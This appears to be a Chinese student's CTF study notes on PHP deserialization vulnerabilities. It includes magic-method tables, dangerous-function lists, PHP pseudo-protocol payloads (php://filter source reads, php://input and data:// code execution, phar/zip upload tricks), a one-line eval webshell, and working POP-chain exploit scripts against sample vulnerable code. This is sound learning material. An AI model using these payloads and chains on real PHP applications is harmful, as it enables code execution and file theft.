1. 任务
1.1.1.1.1.1. 知识部分:
- RCE
- PHP文件上传
- PHP序列化和反序列化【POP链构造,phar反序列化,session反序列化问题,和字符串逃逸】
1.1.1.1.1.2. 题目部分:
- SWPUCTF 2021 新生赛ez_unserialize
- SWPUCTF 2021 新生赛no_wakeup
- SWPUCTF 2022 新生赛1z_unserialize
- SQCTF 逃 (学完字符串逃逸再完成)
1.1.1.1.1.3. 参考链接大佬
- php反序列化从入门到放弃(入门篇) - bmjoker - 博客园
- 【小迪安全】web安全个人学习笔记(2)文件上传 这个讲的比较全面,建议搭配靶场使用
- https://blog.csdn.net/qq_33181292/article/details/120296254
- 文件上传漏洞详解 - 渗透测试中心 - 博客园
- 橙子科技
2. 知识点学习
2.1. php反序列化
https://blog.csdn.net/tryqaaa_/article/details/159172832?spm=1001.2014.3001.5502
这篇是我最详细的解释,这里只是一个回顾总结,以及新添一些新的 知识点
2.1.1. 补充一些生涩词汇,如果不理解,查看此处。。
2.1.1.1.1. 实例化
将类(Class)这个抽象模板转化为可以实际使用的具体对象(Object)的过程。
比如:
# 1. 先定义类
class Car:
def __init__(self, brand):
self.brand = brand
# 2. 实例化:创建两个具体的汽车对象
car1 = Car("比亚迪")
car2 = Car("特斯拉")
print(car1.brand) # 输出:比亚迪
print(car2.brand) # 输出:特斯拉
这里Car("比亚迪")就是实例化过程,car1和car2就是Car类的两个独立实例对象。
2.1.1.1.2. 序列化和反序列化
|------|-------------------------|
| 序列化 | 内存对象 → 可存储/传输格式【拆开】 |
| 反序列化 | 可存储/传输格式 → 内存对象【合上】 |
// 定义一个类
class User {
public $name;
public $age;
public function __construct($name, $age) {
$this->name = $name;
$this->age = $age;
}
}
// 1. 序列化:对象 -> 字符串
$user = new User("Bob", 22);
$serialized_str = serialize($user);
echo $serialized_str;
// 输出:O:4:"User":2:{s:4:"name";s:3:"Bob";s:3:"age";i:22;}
// 2. 反序列化:字符串 -> 对象
$new_user = unserialize($serialized_str);
echo $new_user->name; // 输出:Bob
小题外话:
__wakeup()在反序列化前使用__destruct()在反序列化后使用__destruct()实例化对象后使用
2.1.1.1.3. 对象分为三种
public,private,protected

- 使用public修饰进行序列化后,变量
$team的长度为4,正常输出。 - 使用private修饰进行序列化后,会在变量$team_name前面加上类的名称,在这里是object,并且长度会比正常大小多2个字节,也就是9+6+2=17。
- 使用protected修饰进行序列化后,会在变量$team_group前面加上*,并且长度会比正常大小多3个字节,也就是10+3=13。
- 受Private修饰的私有成员,序列化时:
\x00 + [私有成员所在类名] + \x00 [变量名] - 受Protected修饰的成员,序列化时:\x00 + * + \x00 + 变量名
【"\x00"代表ASCII为0的值,即空字节】
2.1.1.1.4. 常见序列化标识
a - array b - boolean
d - double i - integer
o - common object r - reference
s - string C - custom object
O - class N - null
R - pointer reference U - unicode string
其中,比较常见的感觉:
a数组 i整数 s字符串 o类,对象
b布尔值 d小数
2.1.2. 魔术方法
2.1.2.1. 什么是魔术方法?
- 因为是在触发了某个事件之前或之后,魔法函数会自动调用执行
- PHP 将所有以 __(两个下划线)开头的类方法保留为魔术方法。
2.1.2.2. 常见的魔术方法【含思维导图】
|----------------|-----------------------------------------------------------------------------------------------------|
| 方法名 | 作用 |
| __construct | 构造函数,在创建对象时候初始化对象,一般用于对变量赋初值【实例化的时候】 |
| __destruct | 析构函数,和构造函数相反,在对象不再被使用时(将所有该对象的引用设为null)或者程序退出时自动调用【实例化结束之后】 |
| __toString | 当一个对象被当作一个字符串被调用,把类当作字符串使用时触发,返回值需要为字符串,例如echo打印出对象就会调用此方法 |
| __wakeup() | 使用unserialize时触发,反序列化恢复对象之前调用该方法 |
| __sleep() | 使用serialize时触发 ,在对象被序列化前自动调用,该函数需要返回以类成员变量名作为元素的数组(该数组里的元素会影响类成员变量是否被序列化。只有出现在该数组元素里的类成员变量才会被序列化) |
| __destruct() | 对象被销毁时触发 |
| __call() | 在对象中调用不可访问的方法时触发,即当调用对象中不存在的方法会自动调用该方法 |
| __callStatic() | 在静态上下文中调用不可访问的方法时触发 |
| __get() | 读取不可访问的属性的值时会被调用(不可访问包括私有属性,或者没有初始化的属性) |
| __set() | 在给不可访问属性赋值时,即在调用私有属性的时候会自动执行 |
| __isset() | 当对不可访问属性调用isset()或empty()时触发 |
| __unset() | 当对不可访问属性调用unset()时触发 |
| __invoke() | 当脚本尝试将对象调用为函数时触发 |

2.1.3. php反序列化漏洞(对象注入)
如果让攻击者操纵任意反序列数据, 那么攻击者就可以实现任意类对象的创建,如果一些类存在一些自动触发的方法(魔术方法),那么就有可能以此为跳板进而攻击系统应用。
https://www.cnblogs.com/bmjoker/p/13742666.html这里面有三个注入的示例
2.1.3.1.1. 例一:
<?php
class A{
var $test = "demo";
function __destruct(){
@eval($this->test);
}
}
$test = $_POST['test'];
$len = strlen($test)+1;
$p = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}"; // 构造序列化对象
$test_unser = unserialize($p); // 反序列化同时触发_destruct函数
?>
最终的目的是通过调用__destruct()这个析构函数,将恶意的payload注入,导致代码执行。
当unserialize实行时,会自动执行__destruct()的内容
wp:test=cat flag;就是使用post方式post=你想要执行的命令即可
2.1.3.1.2. 例二:
<?php
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf"))
{
echo "hello friend!<br>";
if(preg_match("/flag/",$file))
{
echo "不能现在就给你flag哦";
exit();
}
else
{
include($file);
$password = unserialize($password);
echo $password;
}
}
else
{
echo "you are not the number of bugku ! ";
}
?>
<?php
class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
?>
出现了三个变量,但是还是比较容易看的,
一个一个条件去满足,因为已经看到include($file); ``$password = unserialize($password);
并且在index.php用echo,将对象当作字符串,可以触发执行to_string()
2.1.3.1.2.1. 第一个变量txt
$txt = $_GET["txt"];
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf"))
第一个要符合条件,
【错误的解答:?txt=welcome to the bugkuctf】
直接传字符串不行,因为file_get_contents第一个参数要求是文件名/资源路径,它会把你传入的字符串当成文件名去打开,而不是把它直接当成内容读取,所以会报错或者读不到正确结果。
正解:(要使用php伪协议)【小本本记下来,要去回顾php伪协议了】
https://www.leavesongs.com/PENETRATION/php-filter-magic.html这个提了Php伪协议,没看懂
有好多种协议编码方式
- ?txt=data://text/plain,welcome to the bugkuctf
- ?txt=data://text/plain;base64,d2VsY29tZSB0byB0aGUgYnVna3VjdGY=****( Base64编码形式**)**
- ?txt=./文件名.txt**(文件中含有这句话)**
- GET参数传入:
?txt=php://input - 在POST请求Body中写入:
welcome to the bugkuctf
即可让file_get_contents读取到正确的内容。
2.1.3.1.2.2. 第二三个变量

2.1.3.1.3. 例三
<?php
class test{
var $test = '123';
function __wakeup(){
$fp = fopen("flag.php","w");
fwrite($fp,$this->test);
fclose($fp);
}
}
$a = $_GET['id'];
print_r($a);
echo "</br>";
$a_unser = unserialize($a);
require "flag.php";
?>
2.1.3.1.3.1. 代码审计
<?php
class test{
// 公有属性
var $test = '123';
// 反序列化触发的魔术方法
function __wakeup(){
// 以写模式打开flag.php,不存在则创建,存在则覆盖原有内容
$fp = fopen("flag.php","w");
// 将当前对象的$test属性写入到flag.php
fwrite($fp,$this->test);
fclose($fp);
}
}
// 直接获取用户可控输入,无任何过滤
$a = $_GET['id'];
// 直接反序列化用户输入
$a_unser = unserialize($a);
// 最终包含并执行写入后的flag.php
require "flag.php";
?>
如上代码主要通过调用魔术方法__wakeup将$test的值写入flag.php文件中,当调用unserialize()反序列化操作时会触发__wakeup魔术方法,接下来就需要构造传进去的payload,
有可以直接生成的工具?https://www.jyshare.com/compile/1/【直接在php环境里面运行】

2.1.4. pop链
把魔术方法作为最开始的小组件,然后在魔术方法中调用其他函数(小组件),通过寻找相同名字的函数,再与类中的敏感函数和属性相关联,就是POP CHAIN 。
2.1.4.1. 用的上的一些方法
2.1.4.1.1. PHP最常见的危险函数
- 命令执行:exec()、passthru()、popen()、system()
- 文件操作:file_put_contents()、file_get_contents()、unlink()
- 代码执行:eval()、assert()、call_user_func()
2.1.4.1.1.1. 命令执行类
|----------------|--------------------------------------|----------------------------------------------------------|
| 函数 | 核心作用 | 安全风险 |
| system() | 执行外部系统命令,并直接输出结果 | 直接返回命令执行结果,最常用于一句话后门(?cmd=whoami) |
| exec() | 执行外部系统命令,仅返回最后一行结果,完整结果存在第二个参数 | 需要通过输出参数获取全部结果,也常被用来执行系统命令 |
| passthru() | 执行外部系统命令,将结果直接输出到浏览器,保留原生格式 | 和system类似,适合二进制命令输出,CTF中非常常见 |
| popen() | 打开进程文件指针,执行命令后返回文件句柄,需要配合fgets读取结果 | 属于PHP: 启动外部程序 扩展函数,常出现在代码审计题中,可用于绕过disable_functions限制 |
2.1.4.1.1.2. 文件操作类
|-------------------------|------------|----------------------------------------------------------------------|
| 函数 | 核心作用 | 安全风险 |
| file_put_contents() | 将字符串写入文件 | 如果用户可控写入内容,可以直接写入一句话木马,实现GetShell |
| file_get_contents() | 将整个文件读入字符串 | 1. 配合PHP伪协议读取任意文件源代码; 2. 可被用来绕过WAF; 3. 配合php://input读取POST请求内容写入后门 |
| unlink() | 删除文件 | 如果用户可控文件名,可删除任意服务器文件,配合竞争条件漏洞可删除哈希验证文件,绕过权限 |
2.1.4.1.1.3. 代码执行类
|----------------------|--------------------------------|------------------------------------------------------------------------|
| 函数 | 核心作用 | 安全风险 |
| eval() | 把传入的字符串当作PHP代码执行 | 最经典的一句话后门函数: eval($_POST['cmd']), 直接执行任意PHP代码,危害极高 |
| assert() | 判断断言是否成立,参数如果是字符串,会被当作PHP代码执行 | PHP低版本中作用和eval几乎一致,是eval常见的替代品,常用于绕过WAF |
| call_user_func() | 调用回调函数处理参数,第一个参数是可调用函数名,第二个是参数 | 攻击者可以控制回调函数为任意危险函数,以此实现代码/命令执行,比如call_user_func('eval','phpinfo();') |
2.1.4.1.2. php伪协议
- file://:访问本地文件系统,读取服务器本地文件,
不受 allow_url_fopen**/** allow_url_include****影响 。
用法:?file=file:///var/www/html/flag.php,需要传入文件的绝对路径。
-
php://filter:元封装器,用于读取文件源码时做编码转换,不受配置限制,双off也能用 ,CTF中最常见。
经典读取源码payload:?file=php://filter/read=convert.base64-encode/resource=index.php
把目标文件源码base64编码后输出,直接拿到源码避免PHP解析执行。
-
php://input:读取POST请求的原始数据,配合文件包含可以直接执行POST中传入的PHP代码。
用法:GET传参?file=php://input,然后在POST body写入<?php system('ls');?>即可执行代码,要求allow_url_include=On。 -
data://:直接将数据嵌入URL,可直接执行PHP代码,要求
allow_url_include=On,PHP >= 5.2.0支持。
两种用法:// 明文直接写
?file=data://text/plain,
// base64编码绕过过滤
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOz4= -
phar://:访问PHP归档(PHAR)文件,核心用途是配合文件上传实现反序列化漏洞 ,对后缀无要求,PHP >= 5.3.0支持。
用法:?file=phar:///var/www/html/shell.jpg/shell,jpg后缀的压缩包也可以解析,用于绕过上传检测。 -
zip://:访问ZIP压缩包内文件,需要用
#分隔压缩包路径和内部文件路径,PHP >= 5.2.0支持。
用法:?file=zip://./shell.jpg#shell.php -
compress.zlib://****/ compress.bzip2://:分别访问zlib/bzip2压缩的文件,无需解压直接读取内部内容。
2.1.4.1.3. 大写S支持字符串的编码
2.1.4.1.4. 深浅拷贝
就是复制,
浅拷贝是"表面",共用同一个地址,修改一个另一个也变a=\&b;
深拷贝,二者独立,要用__clone()
2.1.4.2. pop链的一些例子,实操中
2.1.4.2.1. 例子一
<?php
class main {
protected $ClassObj;
function __construct() {
$this->ClassObj = new normal();
//在创建main对象时,自动实例化一个normal类的对象,并把这个对象赋值给当前类的$ClassObj属性
}
function __destruct() {
$this->ClassObj->action();
//调用$ClassObj属性保存的对象的action()方法
}
}
class normal {
function action() {
echo "hello bmjoker";
}
}
class evil {
private $data;
function action() {
eval($this->data);
}
}
//$a = new main();
unserialize($_GET['a']);
?>
当用户构造一个序列化字符串,让$ClassObj属性实例化为evil对象而不是normal对象时:
- 反序列化完成后,
main对象销毁时自动执行__destruct() __destruct()调用$ClassObj->action(),实际调用的就是evil类的action()evil类的action()执行eval($data),用户可控$data就实现了任意代码执行。
2.1.4.2.1.1. 问题点在于?
__contruct()的结果是normal,而不是evil,我要怎么去调用evil类中的action()方法,并伪造evil类中的变量$data,达成任意代码执行的。
2.1.4.2.1.2. 然后我们可以开始编写pop链,脚本
https://www.jyshare.com/compile/1/

只是需要把需要改动的部分再先写出来,像normal啥的就可以不动,不写上去
同时注意$a = new main();``echo serialize($a);记得输出以及新建对象
注意
在序列化的时候,多出来的字节都被\x00填充,需要进行在代码中使用urlencode对序列化后字符串进行编码,否则无法复制解析。【原序列化字符串中的"、{、}等符号,直接放在URL参数里会被浏览器截断或解析错误,编码后会变成%22、%7B、%7D这类安全字符。】
可以直接将刚刚结果搞到其他网站上去,编码,
也可以在代码处修改,urlencode()

2.1.4.2.2. 例子二
<?php
class MyFile {
public $name;
public $user;
public function __construct($name, $user) {
$this->name = $name;
$this->user = $user;
}
public function __toString(){
return file_get_contents($this->name);
//PHP的文件读取函数,会读取指定路径文件的全部内容,以字符串返回
}
public function __wakeup(){
if(stristr($this->name, "flag")!==False)
//stristr()是PHP的字符串查找函数
$this->name = "/etc/hostname";
//如果文件名包含flag,就强行把$name修改为Linux系统的/etc/hostname文件(存放主机名的系统文件),
//这是一个WAF性质的过滤,不允许直接读取flag文件。
else
$this->name = "/etc/passwd";
if(isset($_GET['user'])) {
//isset()用来判断URL的GET参数中是否存在user参数。
$this->user = $_GET['user'];
}
}
public function __destruct() {
echo $this;
}
}
if(isset($_GET['input'])){
$input = $_GET['input']; //输入口
if(stristr($input, 'user')!==False){
die('Hacker');
} else {
unserialize($input);
}
}else {
highlight_file(__FILE__);
}
2.1.4.2.2.1. 问题在于
关键在于如果能控制变量name,就可以造成任意文件读取漏洞。但是通读代码发现前端传入的可控数据只有变量user,并且传入的$user还不能包含 "user" 子符串。【本人没有注意到echo与to_string的关系】
读取的是$name的文件,但是输入口是input和user,无法直接控制name的值,所以此处使用了浅拷贝,通过对user值的改变,来改变name的值
input不可以出现user,则可以通过大小写绕过,可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示,使用16进制即可绕过【input相当于是对a的输入进行检测】
2.1.4.2.2.2. 构造pop链了

<?php
class MyFile {
public $name = '/etc/hosts';
public $user = '';
}
$a = new MyFile();
$a->name = &$a->user;
//新建对象和浅拷贝
$b = serialize($a);
$b = str_replace("user", "use\\72", $b);
$b = str_replace("s", "S", $b);
//取代字母大小写,序列化进行验证
var_dump($b);
?>
在url处输入结果?input=

D://1.txt,指向D盘根目录下名为1.txt的文本文件,要找flag,则去flag相对应位置文件上,改后面即可
2.1.4.2.3. 例子三
<?php
class start_gg
{
public $mod1;
public $mod2;
//声明两个公有属性$mod1和$mod2,可被外部访问赋值。
public function __destruct()
{
$this->mod1->test1();
}
}
class Call
{
public $mod1;
public $mod2;
public function test1()
{
$this->mod1->test2();
}
}
class funct
{
public $mod1;
public $mod2;
public function __call($test2,$arr)
//__call是PHP魔术方法:当调用不存在/不可访问的方法时自动触发,
//这里参数$test2就是调用的不存在的方法名,$arr是调用参数数组
{
$s1 = $this->mod1;
$s1();
}
}
class func
{
public $mod1;
public $mod2;
public function __invoke()
//__invoke是PHP魔术方法:当把对象当做函数执行时自动触发,承接上一步$s1()的调用
{
$this->mod2 = "字符串拼接".$this->mod1;
}
}
class string1
{
public $str1;
public $str2;
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class GetFlag
{
public function get_flag()
{
echo "flag:xxxxxxxxxxxx";
}
}
$a = $_GET['string'];
unserialize($a);
?>
最后的目的是获取flag,也就是需要调用GetFlag类中的get_flag方法。这是一个类的普通方法。要让这个方法执行,需要构造一个POP链。
2.1.4.2.3.1. 问题在于:
他十分的绕,用了很多的魔术方法。。
然后就得一步一步来,
-
string1中的__tostring存在$this->str1->get_flag(),分析一下要自动调用__tostring()需要把类string1当成字符串来使用,因为调用的是参数str1的方法,所以需要把str1赋值为类GetFlag的对象。$this->str1 = new GetFlag()
-
发现类func中存在
__invoke方法执行了字符串拼接,需要把func当成函数使用自动调用__invoke然后把mod1赋值为string1的对象与mod2拼接。$this->mod1 = new string1() 这样的话在字符串拼接的时候就会触发魔术方法__toString()
【这里本人出现一个误区,就是以为是在echo处才触发了这个string,没想到是在字符拼接的时候触发的这个 _to-string ()****】
-
在funct中找到了函数调用,需要把mod1赋值为func类的对象,又因为函数调用在__call方法中,且参数为$test2,即无法调用test2方法时自动调用 __call方法;
$this->mod1 = new func()
//将func类作为函数调用就会触发魔术方法__invoke() -
在Call中的test1方法中存在
$this->mod1->test2();,需要把$mod1赋值为funct的对象,让__call自动调用。this->mod1= new funct() //因为test2()方法不存在,当$this->mod1调用的时候会触发魔术方法__call()
-
查找test1方法的调用点,在start_gg中发现this-\>mod1-\>test1();,把mod1赋值为Call类的对象,等待__destruct()自动调用。这个程序的起点就在这里
$this->mod1= new Call()
2.1.4.2.3.2. pop链的构造
这道题因为都是在构造一个new对象,就是在各类里头新增对象constuct
<?php
class start_gg
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1 = new Call(); //把$mod1赋值为Call类对象
}
public function __destruct()
{
$this->mod1->test1();
}
}
class Call
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1 = new funct(); //把 $mod1赋值为funct类对象
}
public function test1()
{
$this->mod1->test2();
}
}
class funct
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1= new func(); //把 $mod1赋值为func类对象
}
public function __call($test2,$arr)
{
$s1 = $this->mod1;
$s1();
}
}
class func
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1= new string1(); //把 $mod1赋值为string1类对象
}
public function __invoke()
{
$this->mod2 = "字符串拼接".$this->mod1;
}
}
class string1
{
public $str1;
public function __construct()
{
$this->str1= new GetFlag(); //把 $str1赋值为GetFlag类对象
}
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class GetFlag
{
public function get_flag()
{
echo "flag:"."xxxxxxxxxxxx";
}
}
$b = new start_gg; //构造start_gg类对象$b
echo urlencode(serialize($b)); //显示输出url编码后的序列化对象
结果如下面所示

2.1.4.2.4. 例子四
<?php
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
?>
先大概浏览了一下这个代码,迅速找到了这个include()危险函数,可以在此处进行代码审计
2.1.4.2.4.1. 问题在于
触发append------》 __invoke()****------》 __get($key)****------》 __toString()****------》 __construct()
【这个链条要练到可以独自看出来,要调用get()的时候,注意到tostring的函数内容$this->str->source有误】
- Modifier类中append方法被
__invoke()调用,并传入$this->var参数。当类Modifier被当作函数调用的时候,会自动调用魔术方法__invoke()。
最后在Test类的构造函数看到了$this->p,这里可以直接通过反序列化控制属性p的值,然后通过调用魔术方法__get()来return一个p(),类被当作函数调用就可以触发魔术方法__invoke(),需要把p赋值为Modifier类的对象,$this->var可以传入想要包含的文件。
$this->p = new Modifier()
-
Test类中的魔术方法
__get()是在读取不可访问属性的值时会被调用,发现Show类中的魔术方法__toString()访问了str的source属性,如果str是Test类的对象,则不存在source属性,Test类的__get()魔术方法就会被调用。$this->str = new Test()
-
Show类中的魔术方法__toString()是当一个对象被当作一个字符串被调用。发现Show类的构造方法
__construct()使用echo输出字符串,如果$this->source指向一个对象,就会调用__toString()方法。a = new Show(); this->source = $a;
最终的调用链如下:
include <-- Modifier::__invoke() <-- Test::__get() <-- Show::__toString()
2.1.4.2.4.2. pop链构造
注意,在写payload的时候,
<?php ?>
construct的出现,有新建的对象,
<?php
class Modifier {
protected $var = "D://1.txt";
}
class Show{
public $source;
public $str;
}
class Test{
public $p;
public function __construct(){
$this->p = new Modifier();
}
}
$a = new Show();
$a->source = $a;
$a->str = new Test();
echo urlencode(serialize($a));
?>
结果如下图所示:


3. 总结
3.1.1.1.1.1. 下周新任务
- php伪协议要去回顾(iscc也考了)
- php实际才学到php反序列化,下周从
Seesion继续开始学,
3.1.1.1.1.2. 学了个啥知识呢?
之前第一遍学习这个pop链,实际一直没有太明白,这次通过这三道反序列化的题目,知晓之前推反序列化简直就是乱来,,,学会了一丢丢写payload的感觉,下周将实操试试